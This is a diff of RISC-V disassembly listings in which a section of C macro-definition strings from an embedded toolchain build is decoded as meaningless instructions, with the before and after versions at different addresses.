-    5354:	37322047          	fmsub.q	ft0,ft4,fs3,ft6,rdn
-    5358:	5f00                	lw	s0,56(a4)
-    535a:	525f 5343 4449      	0x44495343525f
-    5360:	7328                	flw	fa0,96(a4)
-    5362:	2029                	jal	536c <__stack_size+0x4b6c>
-    5364:	75727473          	csrrci	s0,0x757,4
-    5368:	5f207463          	bgeu	zero,s2,5950 <__stack_size+0x5150>
-    536c:	685f 6361 006b      	0x6b6361685f
-    5372:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    5378:	745f 7972 615f      	0x615f7972745f
-    537e:	69757163          	bgeu	a0,s7,5a00 <__stack_size+0x5200>
-    5382:	6572                	flw	fa0,28(sp)
-    5384:	6c28                	flw	fa0,88(s0)
-    5386:	296b636f          	jal	t1,bb61c <__stack_size+0xbae1c>
-    538a:	2820                	fld	fs0,80(s0)
-    538c:	7628                	flw	fa0,104(a2)
-    538e:	2964696f          	jal	s2,4b624 <__stack_size+0x4ae24>
-    5392:	3020                	fld	fs0,96(s0)
-    5394:	0029                	c.nop	10
-    5396:	5f5f 4e49 3354      	0x33544e495f5f
-    539c:	5f32                	lw	t5,44(sp)
-    539e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    53a2:	6320                	flw	fs0,64(a4)
-    53a4:	2320                	fld	fs0,64(a4)
-    53a6:	004c2023          	sw	tp,0(s8) # 1a000 <__stack_size+0x19800>
-    53aa:	5441                	li	s0,-16
-    53ac:	465f 4344 4457      	0x44574344465f
-    53b2:	2d20                	fld	fs0,88(a0)
-    53b4:	0032                	c.slli	zero,0xc
-    53b6:	5f5f 444c 4c42      	0x4c42444c5f5f
-    53bc:	4d5f 5841 315f      	0x315f58414d5f
-    53c2:	5f30                	lw	a2,120(a4)
-    53c4:	5845                	li	a6,-15
-    53c6:	5f50                	lw	a2,60(a4)
-    53c8:	205f 3934 3233      	0x32333934205f
-    53ce:	5f00                	lw	s0,56(a4)
-    53d0:	455f 444e 445f      	0x445f444e455f
-    53d6:	4345                	li	t1,17
-    53d8:	534c                	lw	a1,36(a4)
-    53da:	0020                	addi	s0,sp,8
-    53dc:	5f5f 695f 746e      	0x746e695f5f5f
-    53e2:	6c5f 6165 7473      	0x747361656c5f
-    53e8:	3436                	fld	fs0,360(sp)
-    53ea:	745f 645f 6665      	0x6665645f745f
-    53f0:	6e69                	lui	t3,0x1a
-    53f2:	6465                	lui	s0,0x19
-    53f4:	3120                	fld	fs0,96(a0)
-    53f6:	5f00                	lw	s0,56(a4)
-    53f8:	425f4353          	0x425f4353
-    53fc:	49445f43          	fmadd.s	ft10,fs0,fs4,fs1,unknown
-    5400:	5f4d                	li	t5,-13
-    5402:	414d                	li	sp,19
-    5404:	2058                	fld	fa4,128(s0)
-    5406:	3835                	jal	4c42 <__stack_size+0x4442>
-    5408:	4400                	lw	s0,8(s0)
-    540a:	414d                	li	sp,19
-    540c:	545f 5f52 5253      	0x52535f52545f
-    5412:	464f5f43          	fmadd.q	ft10,ft10,ft4,fs0,unknown
-    5416:	2046                	fld	ft0,80(sp)
-    5418:	7830                	flw	fa2,112(s0)
-    541a:	3834                	fld	fa3,112(s0)
-    541c:	5700                	lw	s0,40(a4)
-    541e:	4e49                	li	t3,18
-    5420:	5f54                	lw	a3,60(a4)
-    5422:	414d                	li	sp,19
-    5424:	2058                	fld	fa4,128(s0)
-    5426:	5f5f 4957 544e      	0x544e49575f5f
-    542c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    5432:	5f00                	lw	s0,56(a4)
-    5434:	475f 554e 4c43      	0x4c43554e475f
-    543a:	4b49                	li	s6,18
-    543c:	5f45                	li	t5,-15
-    543e:	5542                	lw	a0,48(sp)
-    5440:	4c49                	li	s8,18
-    5442:	4954                	lw	a3,20(a0)
-    5444:	5f4e                	lw	t5,240(sp)
-    5446:	41445453          	0x41445453
-    544a:	4752                	lw	a4,20(sp)
-    544c:	3120                	fld	fs0,96(a0)
-    544e:	5f00                	lw	s0,56(a4)
-    5450:	535f 424c 2046      	0x2046424c535f
-    5456:	7830                	flw	fa2,112(s0)
-    5458:	3030                	fld	fa2,96(s0)
-    545a:	3130                	fld	fa2,96(a0)
-    545c:	5000                	lw	s0,32(s0)
-    545e:	504d                	c.li	zero,-13
-    5460:	575f 3120 3c3c      	0x3c3c3120575f
-    5466:	0031                	c.nop	12
-    5468:	46495f53          	0x46495f53
-    546c:	4649                	li	a2,18
-    546e:	495f204f          	fnmadd.s	ft0,ft10,fs5,fs1,rdn
-    5472:	4946                	lw	s2,80(sp)
-    5474:	4f46                	lw	t5,80(sp)
-    5476:	4600                	lw	s0,8(a2)
-    5478:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    547c:	4d5f 5841 3220      	0x322058414d5f
-    5482:	0030                	addi	a2,sp,8
-    5484:	495f 4446 5249      	0x52494446495f
-    548a:	3020                	fld	fs0,96(s0)
-    548c:	3430                	fld	fa2,104(s0)
-    548e:	3030                	fld	fa2,96(s0)
-    5490:	3030                	fld	fa2,96(s0)
-    5492:	5f00                	lw	s0,56(a4)
-    5494:	49445453          	0x49445453
-    5498:	5f485f4f          	fnmadd.q	ft10,fa6,fs4,fa1,unknown
-    549c:	0020                	addi	s0,sp,8
-    549e:	5f5f 4c46 3154      	0x31544c465f5f
-    54a4:	3832                	fld	fa6,296(sp)
-    54a6:	455f 5350 4c49      	0x4c495350455f
-    54ac:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
-    54b0:	3120                	fld	fs0,96(a0)
-    54b2:	392e                	fld	fs2,232(sp)
-    54b4:	3532                	fld	fa0,296(sp)
-    54b6:	3239                	jal	4dc4 <__stack_size+0x45c4>
-    54b8:	3939                	jal	50d6 <__stack_size+0x48d6>
-    54ba:	3434                	fld	fa3,104(s0)
-    54bc:	32373833          	0x32373833
-    54c0:	35383533          	0x35383533
-    54c4:	35353033          	0x35353033
-    54c8:	3739                	jal	53d6 <__stack_size+0x4bd6>
-    54ca:	32343937          	lui	s2,0x32343
-    54ce:	3835                	jal	4d0a <__stack_size+0x450a>
-    54d0:	3934                	fld	fa3,112(a0)
-    54d2:	3732                	fld	fa4,296(sp)
-    54d4:	2d653233          	0x2d653233
-    54d8:	31463433          	0x31463433
-    54dc:	3832                	fld	fa6,296(sp)
-    54de:	5f00                	lw	s0,56(a4)
-    54e0:	4350                	lw	a2,4(a4)
-    54e2:	505f 5441 5f48      	0x5f485441505f
-    54e8:	414d                	li	sp,19
-    54ea:	2058                	fld	fa4,128(s0)
-    54ec:	0034                	addi	a3,sp,8
-    54ee:	6166                	flw	ft2,88(sp)
-    54f0:	705f7473          	csrrci	s0,0x705,30
-    54f4:	7475                	lui	s0,0xffffd
-    54f6:	2c782863          	0x2c782863
-    54fa:	2970                	fld	fa2,208(a0)
-    54fc:	2820                	fld	fs0,80(s0)
-    54fe:	2d2d                	jal	5b38 <__stack_size+0x5338>
-    5500:	7028                	flw	fa0,96(s0)
-    5502:	2d29                	jal	5b1c <__stack_size+0x531c>
-    5504:	5f3e                	lw	t5,236(sp)
-    5506:	203c2077          	0x203c2077
-    550a:	2030                	fld	fa2,64(s0)
-    550c:	5f5f203f 75627773 	0x756277735f5f203f
-    5514:	5f66                	lw	t5,120(sp)
-    5516:	2872                	fld	fa6,280(sp)
-    5518:	525f 4545 544e      	0x544e4545525f
-    551e:	202c                	fld	fa1,64(s0)
-    5520:	6928                	flw	fa0,80(a0)
-    5522:	746e                	flw	fs0,248(sp)
-    5524:	2829                	jal	553e <__stack_size+0x4d3e>
-    5526:	2978                	fld	fa4,208(a0)
-    5528:	202c                	fld	fa1,64(s0)
-    552a:	2970                	fld	fa2,208(a0)
-    552c:	3d20                	fld	fs0,120(a0)
-    552e:	203d                	jal	555c <__stack_size+0x4d5c>
-    5530:	4f45                	li	t5,17
-    5532:	2046                	fld	ft0,80(sp)
-    5534:	203a                	fld	ft0,392(sp)
-    5536:	2a28                	fld	fa0,80(a2)
-    5538:	7028                	flw	fa0,96(s0)
-    553a:	2d29                	jal	5b54 <__stack_size+0x5354>
-    553c:	5f3e                	lw	t5,236(sp)
-    553e:	2070                	fld	fa2,192(s0)
-    5540:	203d                	jal	556e <__stack_size+0x4d6e>
-    5542:	7828                	flw	fa0,112(s0)
-    5544:	2c29                	jal	575e <__stack_size+0x4f5e>
-    5546:	2820                	fld	fs0,80(s0)
-    5548:	2970                	fld	fa2,208(a0)
-    554a:	3e2d                	jal	5084 <__stack_size+0x4884>
-    554c:	705f 2b2b 202c      	0x202c2b2b705f
-    5552:	2930                	fld	fa2,80(a0)
-    5554:	0029                	c.nop	10
-    5556:	505f 5044 455f      	0x455f5044505f
-    555c:	444e                	lw	s0,208(sp)
-    555e:	4149                	li	sp,18
-    5560:	204e                	fld	ft0,208(sp)
-    5562:	32313433          	0x32313433
-    5566:	5f00                	lw	s0,56(a4)
-    5568:	445f 4c42 4e5f      	0x4e5f4c42445f
-    556e:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    5572:	414d                	li	sp,19
-    5574:	5f58                	lw	a4,60(a4)
-    5576:	205f 2828 6f64      	0x6f642828205f
-    557c:	6275                	lui	tp,0x1d
-    557e:	656c                	flw	fa1,76(a0)
-    5580:	3129                	jal	518a <__stack_size+0x498a>
-    5582:	372e                	fld	fa4,232(sp)
-    5584:	3739                	jal	5492 <__stack_size+0x4c92>
-    5586:	3936                	fld	fs2,360(sp)
-    5588:	34333133          	0x34333133
-    558c:	3638                	fld	fa4,104(a2)
-    558e:	3332                	fld	ft6,296(sp)
-    5590:	3531                	jal	539c <__stack_size+0x4b9c>
-    5592:	31383037          	lui	zero,0x31383
-    5596:	3534                	fld	fa3,104(a0)
-    5598:	3732                	fld	fa4,296(sp)
-    559a:	3234                	fld	fa3,96(a2)
-    559c:	31333733          	0x31333733
-    55a0:	33343037          	lui	zero,0x33343
-    55a4:	3735                	jal	54d0 <__stack_size+0x4cd0>
-    55a6:	2b65                	jal	5b5e <__stack_size+0x535e>
-    55a8:	4c383033          	0x4c383033
-    55ac:	0029                	c.nop	10
-    55ae:	72617473          	csrrci	s0,0x726,2
-    55b2:	0074                	addi	a3,sp,12
-    55b4:	5f5f 6973 657a      	0x657a69735f5f
-    55ba:	745f 5f5f 0020      	0x205f5f745f
-    55c0:	535f 5f43 4f4c      	0x4f4c5f43535f
-    55c6:	5f4e4947          	fmsub.q	fs2,ft8,fs4,fa1,rmm
-    55ca:	414e                	lw	sp,208(sp)
-    55cc:	454d                	li	a0,19
-    55ce:	4d5f 5841 3520      	0x352058414d5f
-    55d4:	0032                	c.slli	zero,0xc
-    55d6:	5f5f 5953 5f53      	0x5f5359535f5f
-    55dc:	464e4f43          	fmadd.q	ft10,ft8,ft4,fs0,rmm
-    55e0:	4749                	li	a4,18
-    55e2:	485f 5f5f 0020      	0x205f5f485f
-    55e8:	465f 4f4e 4e49      	0x4e494f4e465f
-    55ee:	4548                	lw	a0,12(a0)
-    55f0:	4952                	lw	s2,20(sp)
-    55f2:	2054                	fld	fa3,128(s0)
-    55f4:	7830                	flw	fa2,112(s0)
-    55f6:	3034                	fld	fa3,96(s0)
-    55f8:	3030                	fld	fa2,96(s0)
-    55fa:	0030                	addi	a2,sp,8
-    55fc:	5f5f 7270 6465      	0x646572705f5f
-    5602:	6369                	lui	t1,0x1a
-    5604:	5f74                	lw	a3,124(a4)
-    5606:	6166                	flw	ft2,88(sp)
-    5608:	736c                	flw	fa1,100(a4)
-    560a:	2865                	jal	56c2 <__stack_size+0x4ec2>
-    560c:	7865                	lui	a6,0xffff9
-    560e:	2970                	fld	fa2,208(a0)
-    5610:	5f20                	lw	s0,120(a4)
-    5612:	625f 6975 746c      	0x746c6975625f
-    5618:	6e69                	lui	t3,0x1a
-    561a:	655f 7078 6365      	0x63657078655f
-    5620:	2874                	fld	fa3,208(s0)
-    5622:	6528                	flw	fa0,72(a0)
-    5624:	7078                	flw	fa4,100(s0)
-    5626:	2c29                	jal	5840 <__stack_size+0x5040>
-    5628:	3020                	fld	fs0,96(s0)
-    562a:	0029                	c.nop	10
-    562c:	5f5f 4953 455a      	0x455a49535f5f
-    5632:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    5638:	3020                	fld	fs0,96(s0)
-    563a:	6678                	flw	fa4,76(a2)
-    563c:	6666                	flw	fa2,88(sp)
-    563e:	6666                	flw	fa2,88(sp)
-    5640:	6666                	flw	fa2,88(sp)
-    5642:	5566                	lw	a0,120(sp)
-    5644:	4f00                	lw	s0,24(a4)
-    5646:	545f 5552 434e      	0x434e5552545f
-    564c:	5f20                	lw	s0,120(a4)
-    564e:	5446                	lw	s0,112(sp)
-    5650:	5552                	lw	a0,52(sp)
-    5652:	434e                	lw	t1,208(sp)
-    5654:	4900                	lw	s0,16(a0)
-    5656:	544e                	lw	s0,240(sp)
-    5658:	414d                	li	sp,19
-    565a:	5f58                	lw	a4,60(a4)
-    565c:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    5660:	5f20                	lw	s0,120(a4)
-    5662:	495f 544e 414d      	0x414d544e495f
-    5668:	5f58                	lw	a4,60(a4)
-    566a:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    4f48:	325f4353          	0x325f4353
+    4f4c:	505f 5342 415f      	0x415f5342505f
+    4f52:	554f4343          	0x554f4343
+    4f56:	544e                	lw	s0,240(sp)
+    4f58:	4e49                	li	t3,18
+    4f5a:	31312047          	fmsub.s	ft0,ft2,fs3,ft6,rdn
+    4f5e:	0034                	addi	a3,sp,8
+    4f60:	535f 5359 535f      	0x535f5359535f
+    4f66:	5a49                	li	s4,-14
+    4f68:	5f45                	li	t5,-15
+    4f6a:	5f54                	lw	a3,60(a4)
+    4f6c:	2048                	fld	fa0,128(s0)
+    4f6e:	5f00                	lw	s0,56(a4)
+    4f70:	495f 544e 414d      	0x414d544e495f
+    4f76:	5f58                	lw	a4,60(a4)
+    4f78:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    4f7c:	6320                	flw	fs0,64(a4)
+    4f7e:	2320                	fld	fs0,64(a4)
+    4f80:	4c4c2023          	sw	tp,1216(s8) # b4c0 <__stack_size+0xacc0>
+    4f84:	5f00                	lw	s0,56(a4)
+    4f86:	555f 4e49 5f54      	0x5f544e49555f
+    4f8c:	4146                	lw	sp,80(sp)
+    4f8e:	36315453          	0x36315453
+    4f92:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4f98:	3020                	fld	fs0,96(s0)
+    4f9a:	6678                	flw	fa4,76(a2)
+    4f9c:	6666                	flw	fa2,88(sp)
+    4f9e:	6666                	flw	fa2,88(sp)
+    4fa0:	6666                	flw	fa2,88(sp)
+    4fa2:	5566                	lw	a0,120(sp)
+    4fa4:	5f00                	lw	s0,56(a4)
+    4fa6:	555f 4e49 5f54      	0x5f544e49555f
+    4fac:	4146                	lw	sp,80(sp)
+    4fae:	34365453          	0x34365453
+    4fb2:	545f 5059 5f45      	0x5f455059545f
+    4fb8:	205f 6f6c 676e      	0x676e6f6c205f
+    4fbe:	6c20                	flw	fs0,88(s0)
+    4fc0:	20676e6f          	jal	t3,7b1c6 <__stack_size+0x7a9c6>
+    4fc4:	6e75                	lui	t3,0x1d
+    4fc6:	6e676973          	csrrsi	s2,0x6e6,14
+    4fca:	6465                	lui	s0,0x19
+    4fcc:	6920                	flw	fs0,80(a0)
+    4fce:	746e                	flw	fs0,248(sp)
+    4fd0:	4400                	lw	s0,8(s0)
+    4fd2:	414d                	li	sp,19
+    4fd4:	435f 5f48 4e45      	0x4e455f48435f
+    4fda:	4241                	li	tp,16
+    4fdc:	454c                	lw	a1,12(a0)
+    4fde:	4f5f 4646 3020      	0x302046464f5f
+    4fe4:	3378                	fld	fa4,224(a4)
+    4fe6:	0034                	addi	a3,sp,8
+    4fe8:	535f 5f43 494c      	0x494c5f43535f
+    4fee:	454e                	lw	a0,208(sp)
+    4ff0:	4d5f 5841 3620      	0x362058414d5f
+    4ff6:	0038                	addi	a4,sp,8
+    4ff8:	525f 4545 544e      	0x544e4545525f
+    4ffe:	525f 4e41 5f44      	0x5f444e41525f
+    5004:	454e                	lw	a0,208(sp)
+    5006:	5458                	lw	a4,44(s0)
+    5008:	7028                	flw	fa0,96(s0)
+    500a:	7274                	flw	fa3,100(a2)
+    500c:	2029                	jal	5016 <__stack_size+0x4816>
+    500e:	2828                	fld	fa0,80(s0)
+    5010:	7470                	flw	fa2,108(s0)
+    5012:	2972                	fld	fs2,280(sp)
+    5014:	3e2d                	jal	4b4e <__stack_size+0x434e>
+    5016:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    501c:	6572                	flw	fa0,28(sp)
+    501e:	6e65                	lui	t3,0x19
+    5020:	2e74                	fld	fa3,216(a2)
+    5022:	725f 6e61 5f64      	0x5f646e61725f
+    5028:	656e                	flw	fa0,216(sp)
+    502a:	7478                	flw	fa4,108(s0)
+    502c:	0029                	c.nop	10
+    502e:	4f4c                	lw	a1,28(a4)
+    5030:	474e                	lw	a4,208(sp)
+    5032:	4d5f 5841 5f20      	0x5f2058414d5f
+    5038:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    503e:	414d                	li	sp,19
+    5040:	5f58                	lw	a4,60(a4)
+    5042:	005f 5f5f 6f6c      	0x6f6c5f5f005f
+    5048:	5f736b63          	bltu	t1,s7,563e <__stack_size+0x4e3e>
+    504c:	72616873          	csrrsi	a6,0x726,2
+    5050:	6465                	lui	s0,0x19
+    5052:	2e28                	fld	fa0,88(a2)
+    5054:	2e2e                	fld	ft8,200(sp)
+    5056:	2029                	jal	5060 <__stack_size+0x4860>
+    5058:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    505e:	615f 6e6e 746f      	0x746f6e6e615f
+    5064:	7461                	lui	s0,0xffff8
+    5066:	2865                	jal	511e <__stack_size+0x491e>
+    5068:	72616873          	csrrsi	a6,0x726,2
+    506c:	6465                	lui	s0,0x19
+    506e:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    5074:	7566                	flw	fa0,120(sp)
+    5076:	636e                	flw	ft6,216(sp)
+    5078:	6974                	flw	fa3,84(a0)
+    507a:	5f286e6f          	jal	t3,8b66c <__stack_size+0x8ae6c>
+    507e:	565f 5f41 5241      	0x52415f41565f
+    5084:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    5088:	2929                	jal	54a2 <__stack_size+0x4ca2>
+    508a:	5f00                	lw	s0,56(a4)
+    508c:	4c5f4353          	0x4c5f4353
+    5090:	5645                	li	a2,-15
+    5092:	4c45                	li	s8,17
+    5094:	5f32                	lw	t5,44(sp)
+    5096:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+    509a:	5f45                	li	t5,-15
+    509c:	455a4953          	0x455a4953
+    50a0:	3120                	fld	fs0,96(a0)
+    50a2:	6d003133          	0x6d003133
+    50a6:	73756163          	bltu	a0,s7,57c8 <__stack_size+0x4fc8>
+    50aa:	0065                	c.nop	25
+    50ac:	535f 5f43 4258      	0x42585f43535f
+    50b2:	4c5f3553          	0x4c5f3553
+    50b6:	4250                	lw	a2,4(a2)
+    50b8:	4749                	li	a4,18
+    50ba:	4f5f 4646 4942      	0x494246464f5f
+    50c0:	535f2047          	fmsub.d	ft0,ft10,fs5,fa0,rdn
+    50c4:	37565f43          	fmadd.q	ft10,fa2,fs5,ft6,unknown
+    50c8:	4c5f 4250 4749      	0x474942504c5f
+    50ce:	4f5f 4646 4942      	0x494246464f5f
+    50d4:	48530047          	fmsub.s	ft0,ft6,ft5,fs1,rne
+    50d8:	5241                	li	tp,-16
+    50da:	4445                	li	s0,17
+    50dc:	495f 434e 554c      	0x554c434e495f
+    50e2:	4544                	lw	s1,12(a0)
+    50e4:	5a5f 4e4f 4d45      	0x4d454e4f5a5f
+    50ea:	5345                	li	t1,-15
+    50ec:	45474153          	0x45474153
+    50f0:	485f 205f 5f00      	0x5f00205f485f
+    50f6:	5f535953          	0x5f535953
+    50fa:	5954                	lw	a3,52(a0)
+    50fc:	4550                	lw	a2,12(a0)
+    50fe:	44465f53          	0x44465f53
+    5102:	535f 5445 0020      	0x205445535f
+    5108:	515f 4155 5f44      	0x5f444155515f
+    510e:	4f4c                	lw	a1,28(a4)
+    5110:	524f5757          	0x524f5757
+    5114:	2044                	fld	fs1,128(s0)
+    5116:	0030                	addi	a2,sp,8
+    5118:	525f 4e41 3444      	0x34444e41525f
+    511e:	5f38                	lw	a4,120(a4)
+    5120:	554d                	li	a0,-13
+    5122:	544c                	lw	a1,44(s0)
+    5124:	305f 2820 7830      	0x78302820305f
+    512a:	3665                	jal	4cd2 <__stack_size+0x44d2>
+    512c:	6436                	flw	fs0,76(sp)
+    512e:	0029                	c.nop	10
+    5130:	544e4957          	0x544e4957
+    5134:	4d5f 4e49 5f00      	0x5f004e494d5f
+    513a:	4e49                	li	t3,18
+    513c:	3854                	fld	fa3,176(s0)
+    513e:	545f 445f 4345      	0x4345445f545f
+    5144:	414c                	lw	a1,4(a0)
+    5146:	4552                	lw	a0,20(sp)
+    5148:	2044                	fld	fs1,128(s0)
+    514a:	5f00                	lw	s0,56(a4)
+    514c:	4552                	lw	a0,20(sp)
+    514e:	4e45                	li	t3,17
+    5150:	5f54                	lw	a3,60(a4)
+    5152:	4d45                	li	s10,17
+    5154:	5245                	li	tp,-15
+    5156:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
+    515a:	2859                	jal	51f0 <__stack_size+0x49f0>
+    515c:	7470                	flw	fa2,108(s0)
+    515e:	2972                	fld	fs2,280(sp)
+    5160:	2820                	fld	fs0,80(s0)
+    5162:	7028                	flw	fa0,96(s0)
+    5164:	7274                	flw	fa3,100(a2)
+    5166:	2d29                	jal	5780 <__stack_size+0x4f80>
+    5168:	5f3e                	lw	t5,236(sp)
+    516a:	6d65                	lui	s10,0x19
+    516c:	7265                	lui	tp,0xffff9
+    516e:	636e6567          	0x636e6567
+    5172:	2979                	jal	5610 <__stack_size+0x4e10>
+    5174:	5f00                	lw	s0,56(a4)
+    5176:	495f 544e 3233      	0x3233544e495f
+    517c:	545f 5059 5f45      	0x5f455059545f
+    5182:	205f 6f6c 676e      	0x676e6f6c205f
+    5188:	6920                	flw	fs0,80(a0)
+    518a:	746e                	flw	fs0,248(sp)
+    518c:	5f00                	lw	s0,56(a4)
+    518e:	475f 554e 4c43      	0x4c43554e475f
+    5194:	4b49                	li	s6,18
+    5196:	5f45                	li	t5,-15
+    5198:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    519c:	535f 4345 4954      	0x49544345535f
+    51a2:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
+    51a6:	4e41                	li	t3,16
+    51a8:	4c44                	lw	s1,28(s0)
+    51aa:	4e49                	li	t3,18
+    51ac:	00312047          	fmsub.s	ft0,ft2,ft3,ft0,rdn
+    51b0:	5f5f 4955 544e      	0x544e49555f5f
+    51b6:	465f 5341 3854      	0x38545341465f
+    51bc:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    51c2:	3020                	fld	fs0,96(s0)
+    51c4:	6678                	flw	fa4,76(a2)
+    51c6:	6666                	flw	fa2,88(sp)
+    51c8:	6666                	flw	fa2,88(sp)
+    51ca:	6666                	flw	fa2,88(sp)
+    51cc:	5566                	lw	a0,120(sp)
+    51ce:	5f00                	lw	s0,56(a4)
+    51d0:	4552                	lw	a0,20(sp)
+    51d2:	4e45                	li	t3,17
+    51d4:	2054                	fld	fa3,128(s0)
+    51d6:	695f 706d 7275      	0x7275706d695f
+    51dc:	5f65                	li	t5,-7
+    51de:	7470                	flw	fa2,108(s0)
+    51e0:	0072                	c.slli	zero,0x1c
+    51e2:	525f 4545 544e      	0x544e4545525f
+    51e8:	575f 5443 4d4f      	0x4d4f5443575f
+    51ee:	5f42                	lw	t5,48(sp)
+    51f0:	54415453          	0x54415453
+    51f4:	2845                	jal	52a4 <__stack_size+0x4aa4>
+    51f6:	7470                	flw	fa2,108(s0)
+    51f8:	2972                	fld	fs2,280(sp)
+    51fa:	2820                	fld	fs0,80(s0)
+    51fc:	7028                	flw	fa0,96(s0)
+    51fe:	7274                	flw	fa3,100(a2)
+    5200:	2d29                	jal	581a <__stack_size+0x501a>
+    5202:	5f3e                	lw	t5,236(sp)
+    5204:	656e                	flw	fa0,216(sp)
+    5206:	725f2e77          	0x725f2e77
+    520a:	6565                	lui	a0,0x19
+    520c:	746e                	flw	fs0,248(sp)
+    520e:	5f2e                	lw	t5,232(sp)
+    5210:	6f746377          	0x6f746377
+    5214:	626d                	lui	tp,0x1b
+    5216:	735f 6174 6574      	0x65746174735f
+    521c:	0029                	c.nop	10
+    521e:	5442                	lw	s0,48(sp)
+    5220:	324e                	fld	ft4,240(sp)
+    5222:	3320                	fld	fs0,96(a4)
+    5224:	0031                	c.nop	12
+    5226:	4e49                	li	t3,18
+    5228:	5f54                	lw	a3,60(a4)
+    522a:	4146                	lw	sp,80(sp)
+    522c:	36315453          	0x36315453
+    5230:	4d5f 4e49 2820      	0x28204e494d5f
+    5236:	492d                	li	s2,11
+    5238:	544e                	lw	s0,240(sp)
+    523a:	465f 5341 3154      	0x31545341465f
+    5240:	5f36                	lw	t5,108(sp)
+    5242:	414d                	li	sp,19
+    5244:	2058                	fld	fa4,128(s0)
+    5246:	202d                	jal	5270 <__stack_size+0x4a70>
+    5248:	2931                	jal	5664 <__stack_size+0x4e64>
+    524a:	4300                	lw	s0,0(a4)
+    524c:	4d5f5253          	0x4d5f5253
+    5250:	4d49                	li	s10,18
+    5252:	4950                	lw	a2,20(a0)
+    5254:	2044                	fld	fs1,128(s0)
+    5256:	3131                	jal	4e62 <__stack_size+0x4662>
+    5258:	5f00                	lw	s0,56(a4)
+    525a:	415f4353          	0x415f4353
+    525e:	4f49                	li	t5,18
+    5260:	505f 4952 5f4f      	0x5f4f4952505f
+    5266:	4544                	lw	s1,12(a0)
+    5268:	544c                	lw	a1,44(s0)
+    526a:	5f41                	li	t5,-16
+    526c:	414d                	li	sp,19
+    526e:	2058                	fld	fa4,128(s0)
+    5270:	5f003633          	0x5f003633
+    5274:	6e5f 6565 5f64      	0x5f6465656e5f
+    527a:	554e                	lw	a0,240(sp)
+    527c:	4c4c                	lw	a1,28(s0)
+    527e:	6f00                	flw	fs0,24(a4)
+    5280:	6666                	flw	fa2,88(sp)
+    5282:	6f746573          	csrrsi	a0,0x6f7,8
+    5286:	2866                	fld	fa6,88(sp)
+    5288:	5954                	lw	a3,52(a0)
+    528a:	4550                	lw	a2,12(a0)
+    528c:	4d2c                	lw	a1,88(a0)
+    528e:	4d45                	li	s10,17
+    5290:	4542                	lw	a0,16(sp)
+    5292:	2952                	fld	fs2,272(sp)
+    5294:	5f20                	lw	s0,120(a4)
+    5296:	625f 6975 746c      	0x746c6975625f
+    529c:	6e69                	lui	t3,0x1a
+    529e:	6f5f 6666 6573      	0x657366666f5f
+    52a4:	6f74                	flw	fa3,92(a4)
+    52a6:	2066                	fld	ft0,88(sp)
+    52a8:	5428                	lw	a0,104(s0)
+    52aa:	5059                	c.li	zero,-10
+    52ac:	2c45                	jal	555c <__stack_size+0x4d5c>
+    52ae:	4d20                	lw	s0,88(a0)
+    52b0:	4d45                	li	s10,17
+    52b2:	4542                	lw	a0,16(sp)
+    52b4:	2952                	fld	fs2,272(sp)
+    52b6:	5000                	lw	s0,32(s0)
+    52b8:	494c                	lw	a1,20(a0)
+    52ba:	45585f43          	0x45585f43
+    52be:	414d                	li	sp,19
+    52c0:	58525f43          	fmadd.s	ft10,ft4,ft5,fa1,unknown
+    52c4:	535f 554f 4352      	0x4352554f535f
+    52ca:	2045                	jal	536a <__stack_size+0x4b6a>
+    52cc:	3132                	fld	ft2,296(sp)
+    52ce:	4300                	lw	s0,0(a4)
+    52d0:	4d5f5253          	0x4d5f5253
+    52d4:	5049                	c.li	zero,-14
+    52d6:	3720                	fld	fs0,104(a4)
+    52d8:	5f00                	lw	s0,56(a4)
+    52da:	4c5f4353          	0x4c5f4353
+    52de:	5645                	li	a2,-15
+    52e0:	4c45                	li	s8,17
+    52e2:	5f34                	lw	a3,120(a4)
+    52e4:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
+    52e8:	5f45                	li	t5,-15
+    52ea:	5341                	li	t1,-16
+    52ec:	20434f53          	0x20434f53
+    52f0:	3331                	jal	4ffc <__stack_size+0x47fc>
+    52f2:	0038                	addi	a4,sp,8
+    52f4:	535f 5f43 5254      	0x52545f43535f
+    52fa:	4341                	li	t1,16
+    52fc:	5f45                	li	t5,-15
+    52fe:	5645                	li	a2,-15
+    5300:	4e45                	li	t3,17
+    5302:	5f54                	lw	a3,60(a4)
+    5304:	414e                	lw	sp,208(sp)
+    5306:	454d                	li	a0,19
+    5308:	4d5f 5841 3820      	0x382058414d5f
+    530e:	0035                	c.nop	13
+    5310:	5746                	lw	a4,112(sp)
+    5312:	4952                	lw	s2,20(sp)
+    5314:	4554                	lw	a3,12(a0)
+    5316:	5f20                	lw	s0,120(a4)
+    5318:	5746                	lw	a4,112(sp)
+    531a:	4952                	lw	s2,20(sp)
+    531c:	4554                	lw	a3,12(a0)
+    531e:	5f00                	lw	s0,56(a4)
+    5320:	4954                	lw	a3,20(a0)
+    5322:	454d                	li	a0,19
+    5324:	5f52                	lw	t5,52(sp)
+    5326:	5f54                	lw	a3,60(a4)
+    5328:	7520                	flw	fs0,104(a0)
+    532a:	736e                	flw	ft6,248(sp)
+    532c:	6769                	lui	a4,0x1a
+    532e:	656e                	flw	fa0,216(sp)
+    5330:	2064                	fld	fs1,192(s0)
+    5332:	6f6c                	flw	fa1,92(a4)
